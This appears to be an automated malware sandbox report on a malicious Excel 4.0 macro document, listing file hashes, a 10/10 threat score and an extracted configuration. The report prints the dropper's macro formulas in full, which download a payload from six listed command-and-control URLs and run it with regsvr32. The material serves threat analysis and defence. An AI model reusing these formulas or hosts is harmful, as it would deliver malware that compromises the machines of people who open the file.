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General

  • Target

    023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5

  • Size

    46KB

  • Sample

    241111-zye8wawhkg

  • MD5

    a18b8c5acb696bbad6c7f0a3f327fee0

  • SHA1

    6d731d9d5104696a58f79e0748819de966d4056d

  • SHA256

    023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5

  • SHA512

    cf8ff3d0326d7d06cff1b1c4d39caef272e9b56a615c27822565c568331c933883b44822ab9dfe75d10a8287b175386595b36cbdc186d8d3e5181abd2c9e207a

  • SSDEEP

    768:Wo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:Wo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5

    • Size

      46KB

    • MD5

      a18b8c5acb696bbad6c7f0a3f327fee0

    • SHA1

      6d731d9d5104696a58f79e0748819de966d4056d

    • SHA256

      023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5

    • SHA512

      cf8ff3d0326d7d06cff1b1c4d39caef272e9b56a615c27822565c568331c933883b44822ab9dfe75d10a8287b175386595b36cbdc186d8d3e5181abd2c9e207a

    • SSDEEP

      768:Wo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:Wo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks